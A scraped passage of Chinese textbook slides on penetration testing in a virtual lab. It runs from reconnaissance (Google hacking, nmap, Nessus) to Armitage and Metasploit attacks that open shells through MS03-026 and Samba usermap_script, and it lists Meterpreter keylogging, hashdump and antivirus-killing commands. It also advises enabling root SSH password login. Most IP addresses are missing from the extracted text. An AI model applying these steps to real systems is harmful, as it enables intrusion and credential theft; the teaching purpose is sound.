《計算機網絡安全防護技術(第二版)》課件 (秦燊)第6章 網絡安全滲透測試技術_第1頁
《計算機網絡安全防護技術(第二版)》課件 (秦燊)第6章 網絡安全滲透測試技術_第2頁
《計算機網絡安全防護技術(第二版)》課件 (秦燊)第6章 網絡安全滲透測試技術_第3頁
《計算機網絡安全防護技術(第二版)》課件 (秦燊)第6章 網絡安全滲透測試技術_第4頁
《計算機網絡安全防護技術(第二版)》課件 (秦燊)第6章 網絡安全滲透測試技術_第5頁
已閱讀5頁,還剩71頁未讀 繼續免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領

文檔簡介

第6章

網絡安全滲透測試技術任務6.1-6.3搭建實驗拓撲和學習預備知識

一直以來,小張都參與了A公司的網絡安全建設,通過之前的一系列的建設,已取得了一定的成效。為了進一步查找和修補公司網絡的漏洞、提升公司網絡系統的安全性,A公司決定聘請網絡安全專家為公司的網絡進行安全滲透測試。

滲透測試起源于美國的軍事演習。20世紀90年代,美國將其傳統的軍事演習引入到計算機網絡及信息安全基礎設施的攻防測試中,由安全專家組成的“紅隊”向接受測試的“藍隊”進行攻擊,檢驗“藍隊”安全防御體系的有效性。這種通過實際攻擊進行安全測試與評估的方法就是滲透測試(PenetrationTesting)。

本章將介紹使用KaliLinux進行滲透測試的方法,拓撲如圖6-1-1所示。攻擊者與被攻擊者都位于公司的DMZ區域,通過NAT連接到Internet。攻擊者使用KaliLinux系統,IP地址是1;被攻擊者Linux服務器,IP地址是2;被攻擊者win2003服務器,IP地址是3;被攻擊者win2008服務器,IP地址是4。圖6-1-1網絡安全滲透測試實驗拓撲

其基本配置如下:1.啟動VMwareWorkstation。2.將KaliLinux連接到關聯NAT的交換機Vmnet8。3.將KaliLinux的IP地址配置為1,網關指向。root@kali:~#vim/etc/network/interfacesautoeth0ifaceeth0inetstaticaddress1netmaskgatewaypre-upifconfigeth0hwether60:60:60:60:60:604.在KaliLinux上進行ping百度網站的測試,命令如下:root@kali:~#ping測試結果是能ping通,證明該KaliLinux電腦能正常解析域名并訪問Internet上的服務器。5.三臺服務器的IP地址按上面的規劃配置,子網掩碼為。6.1滲透測試的步驟滲透測試的主要步驟是:1.信息收集通過Internet、社會工程等手段,了解目標的相關信息。2.掃描通過掃描軟件對目標進行掃描,獲取開放的主機、端口、漏洞等信息。3.實施攻擊、獲取權限對目標主機實施拒絕服務等攻擊,破壞其正常的運行。或利用目標主機的漏洞,直接或間接的獲取控制權。4.消除痕跡、保持連接攻擊者入侵獲取控制權后,通過清除系統日志、更改系統設置,種植木馬等方式,遠程操控目標主機而又不被發現。5.生成評估報告對發現的安全問題及后果進行評估,給出技術解決方案,幫助被評估者修補和提升系統的安全性。6.2信息收集

常用的收集信息的方法有社會工程學法、谷歌黑客技術等。社會工程學法是利用人的弱點,如人的本能反應、好奇心、貪便宜等,進行欺騙,獲取利益的方法。谷歌黑客技術是利用谷歌、百度等搜索引擎,收集有價值的信息的方法。一、谷歌黑客技術的基本語法and連接符同時對所有關鍵字進行搜索or連接符從幾個關鍵字中,任一個匹配就可以intext:搜索正文部分,忽略標題、URL等文字intitle:搜索標題部分inurl:搜索網頁URL部分allintext:搜索正文部分,配置條件是包含全部關鍵字allintitle:搜索標題部分,配置條件是包含全部關鍵字allinurl:搜索網頁URL部分,配置條件是包含全部關鍵字site:限定域名link:包含指定鏈接filetype:指定文件后綴或擴展名*代表多個字母.代表一個字母“”精確匹配,可指定空格+加入關鍵字-送去關鍵字~同意詞二、應用舉例1.通過搜索引擎搜索管理后臺如通過百度或谷歌搜索引擎搜索“inurl:phpintitle:管理員登陸”,可搜索到用php開發的管理員登錄網站頁面。2.通過搜索引擎搜索敏感文件如通過打開G分別輸入以下搜索內容,能搜索到網站上擴展名是doc、xls的文件:site:filetype:docintext:passsite:filetype:xlsintext:pass3.通過郵箱挖掘器theHarvester可利用搜索引擎收集電子郵件地址。例如,在kaliLinux中,執行以下命令:root@kali:~#theharvester-d163.com-l300-bbaidu以上命令的作用是搜索域名為163.com的郵件地址,搜索來源是baidu。除了baidu,可選的搜索來源還有google、bing、pgp、linkedin等。6.3掃描

掃描相當于入侵之前的“踩點”,主要是為了收集被攻擊者的信息。掃描可分為端口類掃描和漏洞類掃描。端口類掃描用于檢測目標主機是否在線、開放了哪些端口、運行了哪些服務、運行的是什么操作系統、運行了哪些軟件;漏洞類掃描主要用于掃描主機開放的端口、運行的服務、運行的操作系統和軟件有什么漏洞。

ping掃描是最原始的主機存活掃描技術,但有些系統如win7系統由于安全的需要,默認就不允許別人ping自己,所以ping掃描成功率并不大。為提高成功率,直連的主機可用基于ARP的掃描;非直連的主機可采用基于TCP的掃描。6.3.1fping掃描fping掃描類似于ping命令,但ping命令一次只能ping一個地址,而fping一次可以ping多個地址,而且速度更快。(一)fping命令常用的參數:-a:在結果中顯示出所有可ping通的目標。-q:安靜模式,不顯示每個目標ping的結果。-f:從用戶事先定義好的指定文件中獲取目標列表。-g:指定目標列表,有兩種形式:形式1指定開始和結束地址,如-g55。形式2指定網段和子網掩碼,如-g/24其中,-f與-g只能選擇其一,不能同時使用。(二)舉例說明1.通過定義目標列表文件的方式進行掃描1)編輯列表文件root@kali:~#vimHostList輸入以下內容:2342)運行命令root@kali:~#fping-a-q-fHostList23以上三行是命令輸出的內容,列出了所有可ping通的目標。@kali:~#fping-g54-a-q1233.將掃描結果輸出到文件1)輸入命令root@kali:~#fping-g54-a-q>Ahost2)查看結果root@kali:~#catAhost1236.3.2nping掃描

通過ping來掃描存活主機成功率不大,為提高成功率,直連的主機可用基于ARP的掃描;非直連的主機可采用基于TCP的掃描。nping掃描支持TCP、UDP、ICMP和ARP等多種協議。例如,它能通過tcp連接目標主機的某個端口,來測試目標主機是否存活。通過發送TCP的syn,根據是否有回復syn、ack或回復reset,來測試對方是否存活。

nping常用的參數有:-c數量:表示發送給目標主機的測試包的數量。-p端口號:表示目標主機的端口號,根據目標主機是否有回復以及回復的信息可獲得目標主機是否存洛以及是否開啟了相關服務。--tcp:表示發送tcp類型的數據包。例如,輸入以下命令:root@kali:~#nping-c1-p802-15--tcp輸出如下:StartingNping0.7.70(/nping)at2018-12-2623:12ESTSENT(0.0443s)TCP1:57744>2:80Sttl=64id=2420iplen=40seq=2050265291win=1480//上面一行表示1向2的80號端口發送了TCP的syn。RCVD(0.0453s)TCP2:80>1:57744SAttl=64id=0iplen=44seq=2409067941win=5840<mss1460>//上面一行說明2回復了syn和ack,表示它開發了http服務。SENT(1.0454s)TCP1:57744>3:80Sttl=64id=2420iplen=40seq=2050265291win=1480RCVD(1.0486s)TCP3:80>1:57744SAttl=128id=43708iplen=44seq=430410675win=64320<mss1460>SENT(2.0505s)TCP1:57744>4:80Sttl=64id=2420iplen=40seq=2050265291win=1480SENT(3.0525s)TCP1:57744>5:80Sttl=64id=2420iplen=40seq=2050265291win=1480//上面一行表示1向5的80號端口發送了TCP的syn。通過觀察,之后并沒有收到5的回復,因此判斷5沒有開放80端口。Statisticsforhost2:|ProbesSent:1|Rcvd:1|Lost:0(0.00%)|_Maxrtt:0.725ms|Minrtt:0.725ms|Avgrtt:0.725ms//上面一行表示向2發送了1個包,收到1個回復,丟包率是0。Statisticsforhost3:|ProbesSent:1|Rcvd:1|Lost:0(0.00%)|_Maxrtt:2.711ms|Minrtt:2.711ms|Avgrtt:2.711msStatisticsforhost4:|ProbesSent:1|Rcvd:0|Lost:1(100.00%)|_Maxrtt:N/A|Minrtt:N/A|Avgrtt:N/AStatisticsforhost5:|ProbesSent:1|Rcvd:0|Lost:1(100.00%)|_Maxrtt:N/A|Minrtt:N/A|Avgrtt:N/A//上面一行表示向5發送了1個包,收到0個回復,丟包率是100%。Rawpacketssent:4(160B)|Rcvd:2(92B)|Lost:2(50.00%)Npingdone:4IPaddressespingedin4.09seconds6.3.3NMAP掃描

Nmap是綜合性的端口掃描工具,可用于主機發現、開放服務及版本檢測、操作系統檢測、網絡追蹤等。Nmap指定目標地址范圍的形式舉例如下:232-15/24-exclude2其中,exclude后面為排除的IP地址。還可以將地址范圍以列表的形式存放在文件中,如將IP地址的列表存放在hosts.txt文件中,可以用以下形式引用地址范圍:-iLhosts.txt-excludefilehosts.txt一、Nmap的ping掃描Nmap的Ping掃描迅速找出指定范圍內,允許Ping的主機的IP地址、MAC地址。它的參數是-sn,舉例如下:root@kali:~#nmap-sn/24StartingNmap7.70()at2018-12-3001:04ESTNmapscanreportforHostisup(0.00087slatency).MACAddress:00:50:56:E1:7E:5F(VMware)NmapscanreportforHostisup(0.00069slatency).MACAddress:00:50:56:C0:00:08(VMware)Nmapscanreportfor0Hostisup(0.00017slatency).MACAddress:00:0C:29:EE:A8:5A(VMware)Nmapscanreportfor2Hostisup(0.0027slatency).MACAddress:00:0C:29:AE:F7:74(VMware)Nmapscanreportfor3Hostisup(0.00014slatency).MACAddress:00:0C:29:09:18:C6(VMware)Nmapscanreportfor4Hostisup(0.00024slatency).MACAddress:00:0C:29:86:3A:9C(VMware)Nmapscanreportfor1Hostisup.Nmapdone:256IPaddresses(7hostsup)scannedin1.93seconds二、Nmap的TCP/UDP掃描1.TCPConnect掃描

TCPConnect掃描是通過操作系統提供的系統調用connect()來打開連接的,如果有成功返回,表示目標端口正在監聽;否則表示目標端口不在監聽。這種掃描是最基本的TCP掃描,但容易被檢測到。root@kali:~#nmap-sT4StartingNmap7.70()at2018-12-3003:29ESTNmapscanreportfor4Hostisup(0.00097slatency).Notshown:990closedportsPORTSTATESERVICE80/tcpopenhttp135/tcpopenmsrpc139/tcpopennetbios-ssn445/tcpopenmicrosoft-ds3306/tcpopenmysql49152/tcpopenunknown49153/tcpopenunknown49154/tcpopenunknown49155/tcpopenunknown49156/tcpopenunknownMACAddress:00:0C:29:86:3A:9C(VMware)Nmapdone:1IPaddress(1hostup)scannedin1.82seconds2.TCPSYN掃描

TCPSYN掃描首先嘗試向對方的某個端口發出一個SYN包,

若對方返回SYN-ACK包,表示對方端口正在監聽,

如果對方返回RST包,表示對方端口不在監聽。

針對對方返回的SYN-ACK包,攻擊者主機會馬上發出一個RST包斷開與對方的連接,轉入下一個端口的測試。

由于不必完全打開一個TCP連接,所以TCPSYN掃描也被稱為半開掃描。Nmap的TCPSYN掃描命令如下:root@kali:~#nmap-sS4StartingNmap7.70()at2018-12-3003:27ESTNmapscanreportfor4Hostisup(0.00041slatency).Notshown:990closedportsPORTSTATESERVICE80/tcpopenhttp135/tcpopenmsrpc139/tcpopennetbios-ssn445/tcpopenmicrosoft-ds3306/tcpopenmysql49152/tcpopenunknown49153/tcpopenunknown49154/tcpopenunknown49155/tcpopenunknown49156/tcpopenunknownMACAddress:00:0C:29:86:3A:9C(VMware)Nmapdone:1IPaddress(1hostup)scannedin1.60seconds3.TCPFIN掃描

采用TCPSYN掃描某個端口時,若對方既不回復ACK包,也不回復RST包,則無法判斷對方端口的狀態。

這時,可采用TCPFIN掃描作進一步的判斷。

若FIN包到達一個監聽端口,會被丟棄;

相反的,若FIN包到達一個關閉的端口,則會回應RST。root@kali:~#nmap-sF2StartingNmap7.70()at2018-12-3003:32ESTNmapscanreportfor2Hostisup(0.00034slatency).Notshown:988closedportsPORTSTATESERVICE21/tcpopen|filtered ftp22/tcpopen|filtered ssh23/tcpopen|filtered telnet25/tcpopen|filtered smtp53/tcpopen|filtered domain80/tcpopen|filtered http139/tcpopen|filtered netbios-ssn445/tcpopen|filtered microsoft-ds3306/tcpopen|filtered mysql5432/tcpopen|filtered postgresql8009/tcpopen|filtered ajp138180/tcpopen|filtered unknownMACAddress:00:0C:29:AE:F7:74(VMware)Nmapdone:1IPaddress(1hostup)scannedin1.46seconds2.UDP掃描

UDP掃描用來確定對方主機的哪個UDP端口開放。

UDP掃描發送零字節的信息包給對方端口,若收到回復端口不可達,表示該端口的關閉的,

若無回復,則認為對方端口是開放的。

UDP掃描耗時較長,參數是-sU,例如:root@kali:~#nmap-sU2StartingNmap7.70()at2018-12-3003:34ESTNmapscanreportfor2Hostisup(0.00054slatency).Notshown:997closedportsPORTSTATESERVICE53/udpopendomain137/udpopennetbios-ns138/udpopen|filterednetbios-dgmMACAddress:00:0C:29:AE:F7:74(VMware)Nmapdone:1IPaddress(1hostup)scannedin2032.28seconds三、端口服務及版本掃描

Nmap能較準確的判斷出目標主機開放的端口服務類型及版本,而不是簡單的根據端口號對應到相應的服務,

如http服務被從默認的80號端口修改為其它端口號,也能判斷出來。端口服務及版本掃描的參數是-sV,如:root@kali:~#nmap-sV4StartingNmap7.70()at2018-12-3007:55ESTNmapscanreportfor4Hostisup(0.00039slatency).Notshown:990closedportsPORTSTATESERVICEVERSION80/tcpopenhttpApachehttpd2.4.23((Win32)OpenSSL/1.0.2jPHP/5.4.45)135/tcpopenmsrpcMicrosoftWindowsRPC139/tcpopennetbios-ssnMicrosoftWindowsnetbios-ssn445/tcpopenmicrosoft-dsMicrosoftWindowsServer2008R2-2012microsoft-ds3306/tcpopenmysqlMySQL(unauthorized)49152/tcpopenmsrpcMicrosoftWindowsRPC49153/tcpopenmsrpcMicrosoftWindowsRPC49154/tcpopenmsrpcMicrosoftWindowsRPC49155/tcpopenmsrpcMicrosoftWindowsRPC49156/tcpopenmsrpcMicrosoftWindowsRPCMACAddress:00:0C:29:86:3A:9C(VMware)ServiceInfo:OSs:Windows,WindowsServer2008R2-2012;CPE:cpe:/o:microsoft:windowsServicedetectionperformed.Pleasereportanyincorrectresultsat/submit/.Nmapdone:1IPaddress(1hostup)scannedin60.56seconds四、綜合掃描

綜合掃描會同時打開OS指紋和版本探測。命令的參數是-A,如:root@kali:~#nmap-A4StartingNmap7.70()at2018-12-3008:00ESTNmapscanreportfor4Hostisup(0.00050slatency).Notshown:990closedportsPORTSTATESERVICEVERSION80/tcpopenhttpApachehttpd2.4.23((Win32)OpenSSL/1.0.2jPHP/5.4.45)|http-methods:|_Potentiallyriskymethods:TRACE|_http-server-header:Apache/2.4.23(Win32)OpenSSL/1.0.2jPHP/5.4.45|_http-title:403Forbidden135/tcpopenmsrpcMicrosoftWindowsRPC139/tcpopennetbios-ssnMicrosoftWindowsnetbios-ssn445/tcpopenmicrosoft-dsWindowsServer2008R2Enterprise7601ServicePack1microsoft-ds3306/tcpopenmysqlMySQL(unauthorized)49152/tcpopenmsrpcMicrosoftWindowsRPC49153/tcpopenmsrpcMicrosoftWindowsRPC49154/tcpopenmsrpcMicrosoftWindowsRPC49155/tcpopenmsrpcMicrosoftWindowsRPC49156/tcpopenmsrpcMicrosoftWindowsRPCMACAddress:00:0C:29:86:3A:9C(VMware)Devicetype:generalpurposeRunning:MicrosoftWindows7|2008|8.1OSCPE:cpe:/o:microsoft:windows_7::-cpe:/o:microsoft:windows_7::sp1cpe:/o:microsoft:windows_server_2008::sp1cpe:/o:microsoft:windows_server_2008:r2cpe:/o:microsoft:windows_8cpe:/o:microsoft:windows_8.1OSdetails:MicrosoftWindows7SP0-SP1,WindowsServer2008SP1,WindowsServer2008R2,Windows8,orWindows8.1Update1NetworkDistance:1hopServiceInfo:OSs:Windows,WindowsServer2008R2-2012;CPE:cpe:/o:microsoft:windowsHostscriptresults:|_clock-skew:mean:-2h40m00s,deviation:4h37m07s,median:0s|_nbstat:NetBIOSname:WIN-U8QM4SRH0MR,NetBIOSuser:<unknown>,NetBIOSMAC:00:0c:29:86:3a:9c(VMware)|smb-os-discovery:|OS:WindowsServer2008R2Enterprise7601ServicePack1(WindowsServer2008R2Enterprise6.1)|OSCPE:cpe:/o:microsoft:windows_server_2008::sp1|Computername:WIN-U8QM4SRH0MR|NetBIOScomputername:WIN-U8QM4SRH0MR\x00|Workgroup:WORKGROUP\x00|_Systemtime:2018-12-30T21:01:14+08:00|smb-security-mode:|account_used:guest|authentication_level:user|challenge_response:supported|_message_signing:disabled(dangerous,butdefault)|smb2-security-mode:|2.02:|_Messagesigningenabledbutnotrequired|smb2-time:|date:2018-12-3008:01:14|_start_date:2018-01-0109:35:49TRACEROUTEHOPRTTADDRESS10.50ms4OSandServicedetectionperformed.Pleasereportanyincorrectresultsat/submit/.Nmapdone:1IPaddress(1hostup)scannedin102.75seconds6.3.4全能工具Scapy

全能工具Scapy能讓我們自行構造出各種數據包,實現端口掃描等功能。例如通過Scapy可以構造出一個SYN包,發送給目標主機某端口,若收到目標主機的SYN-ACK包,表示目標主機的相應端口是開放的。一、進入scapy界面構造包進入scapy界面,構造一個包,并查看構造的包,方法如下:root@kali:~#scapyWARNING:NoroutefoundforIPv6destination::(nodefaultroute?)INFO:Can'timportpythonecdsalib.DisabledcertificatemanipulationtoolsWelcometoScapy(2.3.3)>>>a=Ether()/IP()/TCP()//構造一個包>>>a.show()//查看這個包###[Ethernet]###dst=ff:ff:ff:ff:ff:ffsrc=00:00:00:00:00:00type=0x800###[IP]###version=4ihl=Nonetos=0x0len=Noneid=1flags=frag=0ttl=64proto=tcpchksum=Nonesrc=dst=\options\###[TCP]###sport=ftp_datadport=httpseq=0ack=0dataofs=Nonereserved=0flags=Swindow=8192chksum=Noneurgptr=0options={}二、ping測試1.構造包>>>b=IP(dst='4')/ICMP()/b'Helloworld'>>>b.show()###[IP]###version=4ihl=Nonetos=0x0len=Noneid=1flags=frag=0ttl=64proto=icmpchksum=Nonesrc=1dst=4\options\###[ICMP]###type=echo-requestcode=0chksum=Noneid=0x0seq=0x0###[Raw]###load='Helloworld'2.發送和接收一個三層的數據包,把接收到的結果賦值給reply01。

命令是sr1,含義是send并receive1個包。>>>reply01=sr1(b)Beginemission:.Finishedtosend1packets..*Received3packets,got1answers,remaining0packets>>>

常見發送和接收數據包的命令函數有:sr()表示發送三層的數據包,接收一個或多個響應包。sr1()表示發送和接收一個三層的數據包srp()表示發送二層數據包,并接收響應包send()表示只發送三層數據包,不接收sendp()表示只發送二層數據包,不接收3.查看接收到的響應包>>>reply01.show<boundmethodIP.showof<IPversion=4Lihl=5Ltos=0x0len=39id=6907flags=frag=0Lttl=128proto=icmpchksum=0xa70src=4dst=1options=[]|<ICMPtype=echo-replycode=0chksum=0x8e31id=0x0seq=0x0|<Rawload='Helloworld'|<Paddingload='\x00\x00\x00\x00\x00\x00\x00'|>>>>>

可以看到,響應包是由對方發起,自己是接收方,響應包的內容是自己發給對方的副本“Helloworld”。4.提取響應包的詳細信息1)查看返回的字段與值>>>reply01.getlayer(IP).fields{'frag':0L,'src':'4','proto':1,'tos':0,'dst':'1','chksum':2672,'len':39,'options':[],'version':4L,'flags':0L,'ihl':5L,'ttl':128,'id':6907}>>>上面這條命令,查看到響應包的所有IP字段及對應的值>>>reply01.getlayer(IP).fields['src']'4'上面這條命令,查看到了響應包的源IP地址字段及值>>>reply01.getlayer(IP).fields['dst']'1'上面這條命令,查看到了響應包的目標IP地址字段及值>>>reply01.getlayer(ICMP).fields{'gw':None,'code':0,'ts_ori':None,'addr_mask':None,'seq':0,'nexthopmtu':None,'ptr':None,'unused':None,'ts_rx':None,'length':None,'chksum':36401,'reserved':None,'ts_tx':None,'type':0,'id':0}上面這條命令,查看到響應包的所有ICMP字段及對應的值>>>reply01.getlayer(ICMP).fields['type']0上面這條命令,查看到響應包中,ICMP的type字段對應的值是0。6.3.5Nessus掃描工具

Nessus是常用的漏洞類掃描工具,掃描到漏洞后,管理員可針對漏洞對系統進行加固,攻擊者可針對漏洞實施入侵。漏洞掃描分為特征碼探測和模擬攻擊兩種方式。特征碼探測時,會向對方發送包含特征探測碼的數據包,根據返回的數據包中是否包含相應特征碼,來判斷漏洞是否存在;模擬攻擊測試時,通過模擬黑客行為攻擊目標,若攻擊成功,則表示漏洞存在。一、下載Nessus在KaliLinux中用瀏覽器打開“/downloads/nessus”,官網會根據KaliLinux的操作系統類型自動選擇和推薦下載相應平臺的Nessus安裝包。也可先通過真機下載Nessus安裝包(平臺類型選“Dibian/KaliLinux”類型),再在真機上用WinSCP軟件將已經下載的安裝包復制到KaliLinux上。使用WinSCP軟件前需在kaliLinux上用“vim/etc/ssh/sshd_config”命令編輯sshd_config文件,為sshd_config文件添加“PasswordAuthenticationyes”和“PermitRootLoginyes”這兩行語句;然后用“servicesshstart”命令開啟SSH服務。二、安裝、注冊和部署Nessus1.在KaliLinux的命令行界面中,進入安裝文件所在目錄,運行以下命令進行安裝:#dpkg-iNessus-10.6.4-debian10_amd64.deb//后面的名字是安裝包的文件名2.啟動Nessus服務,命令如下:#servicenessusdstart3.查看已啟動的Nessus服務進程,命令如下:#netstat-ntpl|grepnessustcp00:8834:*LISTEN7873/nessusdtcp600:::8834:::*LISTEN7873/nessusd4.在瀏覽器中輸入“:8834”打開Nessus頁面,當頁面詢問打算部署的產品類型時,選擇如圖6-3-1所示的教育版“RegisterforNessusEssentials”,點擊“Continue”按鈕繼續。5.在后續出現的窗口中,輸入個人郵箱等信息進行注冊和獲取激活碼,等待系統自動下載、編譯和安裝插件。插件成功安裝后,就可以正常使用Nessus進行掃描等操作了。圖6-3-1選擇“RegisterforNessusEssentials”三、用Nessus掃描局域網1.成功部署Nessus后,在瀏覽器的Nessus頁面中,出現“Scans”和“Settings”兩個選項夾。點擊“Scans”選項夾,點擊“NewScan”按鈕,在出現的掃描類型選項中,點擊創建“AdvancedScan”類型的掃描。隨后如圖6-3-2所示,將創建的掃描命名為“Scan01”,將掃描范圍指定為“2,3”,點擊“Save”按鈕。圖6-3-2

創建Scan01掃描2.在掃描列表中,可以看到剛定義好的掃描名稱條“Scan01”,在其后的掃描按鈕圖標上點擊,開啟新的掃描。開啟掃描后,在“Scan01”名稱條上點擊,出現如圖6-3-3所示的掃描實時結果匯總信息。圖6-3-3

掃描實時結果匯總信息3.點擊“3”結果條,可看到如圖6-3-4所示的對該windows服務器掃描獲得的詳細漏洞結果,如UnsupportedWebServerDetection、MicrosoftWindowsServer2003UnsupportedInstallationDetection、SMBNULLSessionAuthentication等。圖6-3-4

掃描獲得的詳細漏洞信息4.如圖6-3-5所示,點擊其中MIXED類型的“MicrosoftWindows(MultipleIssues)”項,可進一步看到MS06-040、MS09-001、MS03-026、MS03-039、MS06-018等嚴重漏洞。圖6-3-5

“MicrosoftWindows(MultipleIssues)”項信息5.如圖6-3-6所示,點擊其中的MS03-026漏洞條,可進一步看到關于MS03-026漏洞的詳細信息以及相關補丁。圖6-3-6

MS03-026漏洞的詳細信息6.與查看對windows服務器掃描的結果類似,點擊如圖6-3-7所示的“2”掃描結果條,可看到如圖6-3-7所示的對該Linux服務器掃描獲得的詳細漏洞結果,點擊其中的漏洞條,可進一步看到關于該漏洞的詳細信息及相關補丁等防護措施。圖6-3-7

對Linux服務器掃描獲得的漏洞信息

謝謝欣賞第6章

網絡安全滲透測試技術任務6.4.1通過圖形界面對服務器實施滲透測試

6.4對Linux和Windows服務器實施滲透測試Metasploit是rapid7公司的一款優秀的滲透測試工具,用漏洞掃描工具找到對方漏洞后,可用Metasploit對這些漏洞進行做滲透測試。測試一般采用命令行界面的Metasploit框架版(TheMetasploitFramework,簡稱MSF),啟動方式是在shell中輸入msfconsole;另外,初學者還可選用圖形界面的Armitage,Armitage通過調用Metasploit,對主機存在的漏洞實施自動化的攻擊,實施滲透測試。任務6.4.1通過圖形界面對服務器實施滲透測試

采用圖形界面的Armitage,用戶不需要輸入太多參數,就可自動化的調用Metasploit,對目標主機實施滲透測試。直觀形象的界面,便于初學者掌握。一、掃描目標主機1.啟動Armitage方法是先在shell中輸入msfdbinit,然后再輸入armitage。root@kali:~#msfdbinitroot@kali:~#armitage2.在shell中輸入armitage后,彈出連接對話框,如圖6-4-1所示,點擊“Connect”按鈕。圖6-4-1啟動armitage連接到metasploit3.如圖6-4-2所示,提示將要啟動和連接MetasploitRPCserver,點擊“Yes”按鈕。4.Armitage界面啟動后,如圖6-4-3所示,點擊菜單“Hosts”/“NmapScan”/“QuickScan(OSdetect)”。圖6-4-2啟動Metasploit圖6-4-3對Hosts進行QuickScan(OSdetect)5.如圖6-4-4所示,在彈出的掃描范圍對話框中,輸入“2-13”,點擊“OK”按鈕。6.如圖6-4-5所示,掃描結束后,可以看到IP地址是3的windows服務器和IP地址是2的Linux服務器都出現在掃描結果中。圖6-4-4掃描范圍對話框圖6-4-5顯示掃描結果二、利用windows服務器的03_026漏洞,對目標windows服務器實施攻擊。1.如圖6-4-6所示,點擊菜單“Attacks”/“FindAttacks”。圖6-4-6查找可用攻擊菜單2.如圖6-4-7所示,經過篩選,軟件為目標主機找出了可用的攻擊工具,附在每臺目標主機的右擊菜單中,供用戶選擇。圖6-4-7攻擊分析結束提示框3.如圖6-4-8所示,右擊IP地址為3的windows服務器,選擇“Attack”/“dcerpc”/“ms03_026_dcom”,這個漏洞在上一小節中,用Nessus也掃到過的一個嚴重漏洞。圖6-4-8運行對windows服務器的ms03_026攻擊4.如圖6-4-9所示,攻擊參數已經自動按默認值填好,點擊“Launch”按鈕,就可以開始攻擊了。圖6-4-9攻擊參數設置

5.攻擊成功后,目標主機的圖標變成如圖6-4-10所示的樣子。6.如圖6-4-11所示,右擊目標主機的圖標,選擇“Meterpreter1”/“Interact”/“CommandShell”,進入目標主機的命令行模式,此模式下可執行命令,操控目標主機。圖6-4-10攻擊成功圖標圖6-4-11進入已獲取控制權的服務器的命令提示符7.如圖6-4-12所示,輸入ipconfig命令,可以顯示出命令成功執行的結果。圖6-4-12對被控服務器輸入命令查看效果三、利用Linux服務器Samba服務的usermap_scrip安全漏洞,實施對Linux目標服務器的攻擊。1.如圖6-4-13所示,右擊被掃描到有漏洞的Linux主機,在彈出的菜單中選擇“Attack”/“samba”/“usermap_script”。圖6-4-13對Linux服務器發起基于samba的usermap_script攻擊2.如圖6-4-14所示,攻擊參數已經自動按默認值填好,點擊“Launch”按鈕,就可以開始攻擊了。圖6-4-14輸入攻擊參數3.攻擊成功后,圖標顯示的效果變成如圖6-4-15所示的效果,在圖標上點擊右鍵,選擇“Shell2”/“Interact”,進入被攻擊者的交互界面。4.在交互界面中,輸入uname-a和whoami命令,測試運行效果。5.可以看到,交互界面給出了正確的響應。圖6-4-15攻擊成功后,選擇被攻擊者的交互界面圖6-4-16進入被攻擊服務器的交換界面,輸入命令查看響應謝謝欣賞第6章

網絡安全滲透測試技術任務6.4.2通過命令行界面對服務器實施滲透測試

任務6.4.2通過命令行界面對服務器實施滲透測試

除了圖形界面,還可使用命令行界面的Metasploit框架版(TheMetasploitFramework,簡稱MSF),Metasploit框架版可以針對目標的漏洞,提供相應的發射器和惡意代碼。攻擊者采用發射器,可將惡意代碼發射到目標主機上并隱蔽起來,惡意代碼可接受攻擊者的控制。一、Metasploit涉及的一些概念vulnerability:被攻擊主機上的漏洞、薄弱點。exploit:用于發射惡意代碼的發射器。利用被攻擊者的漏洞和弱點,發射器可將木馬等惡意代碼植入到被攻擊者主機。payload:是攻擊者用發射器發射并隱藏到被攻擊者主機內惡意代碼,如木馬等。利用被攻擊者主機上的漏洞,攻擊者可使用exploit發射器發射惡意代碼payload,將惡意代碼payload發射到攻擊者的主機,隱蔽的植入到被攻擊者主機內部。Metasploit擁有大量優秀的、在線更新的exploit和paylaod。其中,Meterpreter是眾多載荷中最受歡迎的payload。二、Metasploit框架結構MSF的操作步驟。一)針對被攻擊者主機的漏洞,選擇用于發射惡意代碼的發射器exploit。1.search:查看可用的發射器exploits。2.use:選用合適的發射器exploits。二)選用攻擊載荷payload(如木馬等惡意代碼),并設置相關參數。1.showpayloads:查看所有可選的攻擊載荷(惡意代碼)。2.setpayload:從大量的攻擊載荷payloads中,選擇一個,一般選用Meterpreter作為攻擊載荷。3.showoptions:查看攻擊載荷的配置選項。4.set:設置攻擊載荷的配置選項、設置相關參數。三)查看適用的操作系統1.showtargets:查看所選的發射器和攻擊載荷適用的操作系統及版本,如果與被攻擊者的不符,則無法實施攻擊。2.settarget設置攻擊的操作系統。四)實施攻擊exploit:使用選好的發射器exploit和攻擊載荷payload,執行滲透測試攻擊,效果和run一樣。參數–j表示攻擊在后臺進行。以上是完整的步驟,根據實際情況,操作中可以省去其中某些步驟。三、攻擊載荷Meterpreter常用命令Meterpreter是最常用的攻擊載荷,其常用的命令如下:1.background回到后臺,即上一個命令提示符。2.sessions每個攻擊為一個會話,每個會話有一個唯一的ID,使用sessions命令可查看當前有哪些會話,即有哪些主機被控制了。使用session-h命令可查看幫助信息。使用sessionsID命令可切換到指定的session會話。使用session-kID命令可關閉指定的session會話。3.screenshot對被攻擊主機截屏,保存到本地。4.sysinfo顯示被攻擊主機的系統信息。5.ps查看被攻擊主機正在運行的進程。6.migrate將meterpreter遷移到相對穩定的進程中。7.runkeylogrecorder鍵盤記錄8.runhashdump收集被攻擊者主機的密碼哈希值9.runvnc打開被攻擊者主機的桌面10.runkillav關閉被攻擊者主機的殺毒軟件。四、對Windows服務器實施MS03-026漏洞攻擊上一小節,我們通過Nessus掃描到了Windows服務器存在MS03-026漏洞。下面學習如何針對該已知漏洞,用命令行界面對目標系統實施滲透測試攻擊。1.打開命令行界面,輸入msfconsole命令。root@kali:~/Downloads#msfconsole2.輸入searchms03-026命令,查找針對漏洞ms03-026的exploit發射器。msf>searchms03-026[!]Moduledatabasecachenotbuiltyet,usingslowsearchMatchingModules================NameDisclosureDateRankDescription-----------------------------------exploit/windows/dcerpc/ms03_026_dcom2003-07-16greatMS03-026MicrosoftRPCDCOMInterfaceOverflow查找到針對該漏洞的發射器:exploit/windows/dcerpc/ms03_026_dcom3.通過useexploit/windows/dcerpc/ms03_026_dcom命令,選用該exploit發射器。msf>useexploit/windows/dcerpc/ms03_026_dcom4.通過showpayloads命令,查看所有可選的攻擊載荷payload(惡意代碼)。msfexploit(windows/dcerpc/ms03_026_dcom)>showpayloads可以看到,可用的payload攻擊載荷很多。其中,windows/meterpreter/bind_tcp是kali主動聯系被攻擊者,如果要